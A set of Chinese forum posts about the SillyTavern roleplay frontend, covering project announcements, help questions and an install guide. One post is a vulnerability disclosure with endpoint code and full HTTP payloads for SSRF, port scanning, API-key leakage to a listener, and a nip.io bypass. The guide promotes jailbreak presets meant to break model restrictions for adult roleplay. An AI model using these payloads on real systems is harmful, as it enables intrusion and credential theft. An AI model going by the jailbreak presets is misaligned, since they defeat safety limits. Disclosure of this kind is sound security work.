我最早是一个沉迷 SillyTavern 用户,第一次接触酒馆的时候还是挺震撼的,角色卡、世界书、预设、插件,整个生态丰富得离谱。后来很多角色扮演产品做来做去,本质上也都在围绕酒馆生态转。但用久了之后也会发现一些问题:酒馆真的太重了!!! 各种配置项、各种参数、各种插件,对于重度玩家来说可能很爽,但对于普通用户来说门槛其实不低。很多时候只是想找个角色聊聊天,结果要先研究一堆概念,最后花在折腾环境上的时间可能比聊天还长。 所以去年我自己做了一个项目,当时想法挺简单的:保留酒馆生态最有价值的部分,把体验尽量做简单一点。后来项目也获得了论坛内大量佬友的支持,拿到了 800 star,但新的问题很快又出现了。因为兼容酒馆,所以必须持续兼容酒馆。角色卡要兼容,世界书要兼容,各种数据格式要兼容,很多时候设计一个功能,第一个考虑的问题甚至不是用户体验,而是会不会破坏兼容性。明明是在开发自己的项目,但越来越像是在维护一个酒馆兼容层。 与此同时我也开始思考另外一个问题。 酒馆解决得很好的是角色扮演,但它真的是 AI 陪伴产品最终的形态吗?大部分时候我们面对的仍然是一个聊天窗口。输入一句,回复一句。哪怕加上语音,本质上还是聊天软件的逻辑。 但现在模型能力已经和一两年前完全不一样了。 语音模型越来越成熟,实时对话越来越自然,Agent 也开始具备一定执行能力。如果从今天重新设计一个陪伴产品,我越来越觉得核心可能不应该是聊天框,而应该是角色本身。 她有声音,她可以实时交流,甚至可以在聊天过程中顺手帮你完成一些事情,同时如果希望回归酒馆的聊天模式,也可以做到无缝支持。 基于这个想法,我上周把内部的一个实验项目整理出来开源了: https://linux.do/t/topic/2314323?u=happyfox001 原本只是想验证一下方向,结果一天时间拿到了 60 个 Star,也收到不少私信反馈。目前它其实还非常早期,严格来说只能算一个骨架,实现的主要还是完整语音交流能力。但从反馈来看,大家关注的已经不只是模型效果,而是另一种交互方式本身。我愈发的想继续将更多内容开源出来,去围绕一些当前在二创中火爆的角色+声音,构建文字聊天+语音实时交互的桌面陪伴产品。想听听佬友们的意见。 1 个帖子 - 1 位参与者 阅读完整话题
在sillytavern使用君の公益的api会出现这个报错,请问有没有大佬知道怎么解决呀?我自己问了ai后得到的解释是User-Agent配置的问题,但在按照ai说的下改了几次参数都没有作用。还是君の公益不支持使用在sillytavern上呢? 16 个帖子 - 8 位参与者 阅读完整话题
Tokenizer端点ssrf file:src/endpoints/tokenizers.js /remote/kobold/count 虽然他们被设计出来就是用于api通行的 但是事实上他们可以造成内网的扫描 例如在多租户的docker环境中 router.post('/remote/kobold/count', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); try { const args = { method: 'POST', body: JSON.stringify({ 'prompt': text }), headers: { 'Content-Type': 'application/json' }, }; let url = String(baseUrl).replace(/\/$/, ''); url += '/extra/tokencount'; const result = await fetch(url, args); if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = data.value; const ids = data.ids ?? []; return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 请求直接写入了 const baseUrl = String(request.body.url); 无过滤 虽然没有返回内容都只是 { error: true } 但测试下来依旧可以通过延时判断内网端口开放状态若存在瞬间返回,若端口不存在延迟约三秒返回,构成ssrf payload: POST /api/tokenizers/remote/kobold/count HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "hello", "url": "http://172.19.0.1:8080"} /remote/textgenerationwebui/encode ssrf+kay泄漏 router.post('/remote/textgenerationwebui/encode', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); //用户控制 无验证 const model = String(request.body.model) || ''; try { const args = { method: 'POST', headers: { 'Content-Type': 'application/json' }, }; setAdditionalHeaders(request, args, baseUrl); // 关键 调用设置函数 在头添加密钥 // Convert to string + remove trailing slash + /v1 suffix let url = String(baseUrl).replace(/\/$/, '').replace(/\/v1$/, ''); switch (request.body.api_type) { case TEXTGEN_TYPES.TABBY: url += '/v1/token/encode'; args.body = JSON.stringify({ 'text': text, 'add_bos_token': false }); break; case TEXTGEN_TYPES.KOBOLDCPP: url += '/api/extra/tokencount'; args.body = JSON.stringify({ 'prompt': text, 'special': false }); break; case TEXTGEN_TYPES.LLAMACPP: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'content': text }); break; case TEXTGEN_TYPES.VLLM: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; case TEXTGEN_TYPES.APHRODITE: url += '/v1/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; default: url += '/v1/internal/encode'; args.body = JSON.stringify({ 'text': text }); break; } const result = await fetch(url, args); //带上附加的头 if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = (data?.length ?? data?.count ?? data?.value ?? data?.tokens?.length); const ids = (data?.tokens ?? data?.ids ?? []); return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 观察代码不难注意到 setAdditionalHeaders(request, args, baseUrl); 这个函数,它又指向 setAdditionalHeadersByType ,在这个函数中key被赋值 export function setAdditionalHeadersByType(requestHeaders, type, server, directories) { const headerGetters = { [TEXTGEN_TYPES.MANCER]: getMancerHeaders, [TEXTGEN_TYPES.VLLM]: getVllmHeaders, [TEXTGEN_TYPES.APHRODITE]: getAphroditeHeaders, [TEXTGEN_TYPES.TABBY]: getTabbyHeaders, [TEXTGEN_TYPES.TOGETHERAI]: getTogetherAIHeaders, [TEXTGEN_TYPES.OOBA]: getOobaHeaders, [TEXTGEN_TYPES.INFERMATICAI]: getInfermaticAIHeaders, [TEXTGEN_TYPES.DREAMGEN]: getDreamGenHeaders, [TEXTGEN_TYPES.OPENROUTER]: getOpenRouterHeaders, [TEXTGEN_TYPES.KOBOLDCPP]: getKoboldCppHeaders, [TEXTGEN_TYPES.LLAMACPP]: getLlamaCppHeaders, [TEXTGEN_TYPES.FEATHERLESS]: getFeatherlessHeaders, [TEXTGEN_TYPES.HUGGINGFACE]: getHuggingFaceHeaders, [TEXTGEN_TYPES.GENERIC]: getGenericHeaders, }; const getHeaders = headerGetters[type]; // 获得密钥 const headers = getHeaders ? getHeaders(directories) : {}; if (typeof server === 'string' && server.length > 0) { try { const url = new URL(server); const overrideHeaders = getOverrideHeaders(url.host); if (overrideHeaders && Object.keys(overrideHeaders).length > 0) { Object.assign(headers, overrideHeaders); } } catch { // Do nothing } } Object.assign(requestHeaders, headers); } 效果如下 payload POST /api/tokenizers/remote/textgenerationwebui/encode HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "test", "url": "http://172.19.0.1:8080", "api_type": "tabby", "model": ""} 返回 nc -l 0.0.0.0 8080 POST /v1/token/encode HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br authorization: Bearer 123123 content-length: 37 content-type: application/json user-agent: node-fetch x-api-key: 123123 Host: 172.19.0.1:8080 Connection: keep-alive {"text":"test","add_bos_token":false} 关键 x-api-key: 123123 只要用户设置过的key 通过apitype就可以泄漏 KoboldCPP端点ssrf漏洞 看代码 router.post('/koboldcpp', async (request, response) => { try { const { query, url } = request.body; if (!url) { console.error('No URL provided for KoboldCpp search'); return response.sendStatus(400); } console.debug('KoboldCpp search query', query); const baseUrl = trimV1(url); const args = { method: 'POST', headers: {}, body: JSON.stringify({ q: query }), }; setAdditionalHeaders(request, args, baseUrl); const result = await fetch(`${baseUrl}/api/extra/websearch`, args); if (!result.ok) { const text = await result.text(); console.error('KoboldCpp request failed', result.statusText, text); return response.status(500).send(text); } const data = await result.json(); console.debug('KoboldCpp search response', data); return response.json(data); } catch (error) { console.error(error); return response.sendStatus(500); } }); 一样的 关键点 const baseUrl = trimV1(url); 在之后url会被拼接 /api/extra/websearch 进行查询 没有过滤 白名单 于是我们可以构造出如下的 payload POST /api/search/koboldcpp HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"query": "", "url": "http://172.19.0.1:8080"} 如果不想请求携带后面的接口 可以添加# 来绕过 {"query": "", "url": "http://172.19.0.1:8080#"} nc -l 0.0.0.0 8080 POST / HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br content-length: 8 content-type: text/plain;charset=UTF-8 user-agent: node-fetch Host: 172.19.0.1:8080 Connection: keep-alive {"q":""} /visit 80,443端口 回显ssrf router.post('/visit', async (request, response) => { try { const url = request.body.url; const html = Boolean(request.body.html ?? true); if (!url) { console.error('No url provided for /visit'); return response.sendStatus(400); } try { const urlObj = new URL(url); // Reject relative URLs if (urlObj.protocol === null || urlObj.host === null) { throw new Error('Invalid URL format'); } // Reject non-HTTP URLs if (urlObj.protocol !== 'http:' && urlObj.protocol !== 'https:') { throw new Error('Invalid protocol'); } // Reject URLs with a non-standard port if (urlObj.port !== '') { throw new Error('Invalid port'); } // Reject IP addresses if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } } catch (error) { console.error('Invalid url provided for /visit', url); return response.sendStatus(400); } console.info('Visiting web URL', url); const result = await fetch(url, { headers: visitHeaders }); if (!result.ok) { console.error(`Visit failed ${result.status} ${result.statusText}`); return response.sendStatus(500); } const contentType = String(result.headers.get('content-type')); if (html) { if (!contentType.includes('text/html')) { console.error(`Visit failed, content-type is ${contentType}, expected text/html`); return response.sendStatus(500); } const text = await result.text(); return response.send(text); } response.setHeader('Content-Type', contentType); const buffer = await result.arrayBuffer(); return response.send(Buffer.from(buffer)); } catch (error) { console.error(error); return response.sendStatus(500); } }); 这里的验证并不严格 关键的代码是 if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } 他用的是ip-regex模块匹配ip,不够完全 可以利用一些手段绕过 例如 nip.io http://127.0.0.1.nip.io 这个就指向127 payload: POST /api/search/visit HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"url": "http://172.19.0.1.nip.io", "html": false} sudo nc -l 0.0.0.0 80 GET / HTTP/1.1 accept: text/html accept-encoding: gzip, deflate, br accept-language: en-US,en;q=0.5 cache-control: no-cache connection: keep-alive dnt: 1 pragma: no-cache sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: none sec-fetch-user: ?1 te: trailers user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: 172.19.0.1.nip.io 这个问题已经有安全报告了 GitHub Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6 ### Details Distinct from CVE-2025-59159, CVE-2026-26286, and GHSA-vjv2-8gh6-4hc2 (all fixed in v1.16.0). This endpoint is still unpatched. In `src/endpoints/search.js` line 419, the hostname i... 1 个帖子 - 1 位参与者 阅读完整话题
emm…,做了一个分发系统的云酒馆(sillytavern),我本来想拿来卖钱着,也没人买 ,大家可以帮我参谋参谋一下,当前的系统功能就类似这样,这是我拿GPT生成的图片 3 个帖子 - 3 位参与者 阅读完整话题
以下为项目介绍正文内容,AI生成 主要适合个人使用,为了个人使用 coding 出来的 大家有需要的可以试试 https://github.com/WeiYYin/NeonNocturne 5 个帖子 - 3 位参与者 阅读完整话题
那么这一时刻有人要问了,文哥文哥什么是酒馆啊() A.山东老酒馆 B.馄饨酒馆 C.深夜食堂 Q:酒馆是什么? A:酒馆全名SillyTavern这是一个开源的项目,项目地址 GitHub - SillyTavern/SillyTavern: LLM Frontend for Power Users. · GitHub Q:能干什么? A:能实现ai对话,参与到一个剧本中,跟着剧本走,改变剧本,都靠你自己,对于我们这种单身狗情绪价值拉满 这时候有人问了不就是ai对话吗,有什么用?我还能给豆包打电话呢? 实则不然,你豆姐能给你聊 滑梯吗 在酒馆你就是开了创造模式的上帝,想干嘛就干嘛 一、下载与安装 项目地址: github.com GitHub - SillyTavern/SillyTavern: LLM Frontend for Power Users. LLM Frontend for Power Users. 下载完成之后: win环境 可以开启内网穿透,实现外部设备访问 修改以下参数即可 listen: true # 必开,允许非本机访问 port: 8000 # 按需改端口 whitelistMode: false # 走隧道时常用(否则容易被白名单拦截) basicAuthMode: true # 强烈建议开启 basicAuthUser: username: "你的用户名" password: "强密码" hostWhitelist: enabled: true hosts: - ".trycloudflare.com" # Cloudflare 临时隧道可用 # - "st.yourdomain.com" # 你自己的域名 liunx环境 git clone GitHub - SillyTavern/SillyTavern: LLM Frontend for Power Users. · GitHub -b release cd SillyTavern bash start.sh 启动即可,其实可以让ai直接给你部署完成。 终于结束的无聊的环节了 二、18禁,完美食用 打开你刚才部署完成的地址 名字别跟我该一样啊,我不想你们玩什么奇怪东西带上我 1.api连接 点击上方导航栏插头即可,下方设置和我保持一样即可,推荐模型,2.5P 3.1p 2.测试连接 api连好之后 我们先测试一下是否能回复消息 点击这个卡片,这个叫作角色卡 聊天框跟聊微信一样发送笑死能回复就是ok的 下面就是重头戏了,好好看看哦 角色卡与预设频道 类脑ΟΔΥΣΣΕΙΑ 里面可以下载预设和角色卡,进去之后要7天还是15天 才能进入其他频道 3.预设设置 何为预设 1.破除限制的关键 2.控制输出质量的关键 3.制定你聊天回答的关键 哪里下预设: 每个模型适配的预设不同,所以效果不同这里我推荐的只是比较通用的后续可以进频道自己探索 上面的频道我先给你可以用的预设 这个预设是来ds频道的 fiveuseven大佬 4.24 伍柒の甲弹对抗预设V2(正式版) (1).txt (132.6 KB) 需要改为json文件,我太笨了没找到L站怎么改 预设下载完成之后导入预设 导入刚才下载上面的文件 往下滑动能自定义 4.角色卡 角色卡可以是json也可以是带json数据的图片 能破限了,那肯定还是一个对象 角色卡L站应该上传不了 大家有需要可以在这里面下载 摆渡网盘: 百度网盘 请输入提取码 提取码: tngu 跨克网盘: https://pan.quark.cn/s/f9f11d9533b6 下载一张卡之后,导入角色卡即可 下载点击角色卡就可以开始聊天啦 5.必装插件 这个是渲染前端代码的一个插件属于必装 GitHub - N0VI028/JS-Slash-Runner · GitHub (推荐, 需要开梯子) 填入第一个地址栏即可 后续加入ds频道之后就能解锁更多玩法了 好了大家可以脱裤子开始玩了后面我想起还有啥问题,我在来更新吧 2 个帖子 - 2 位参与者 阅读完整话题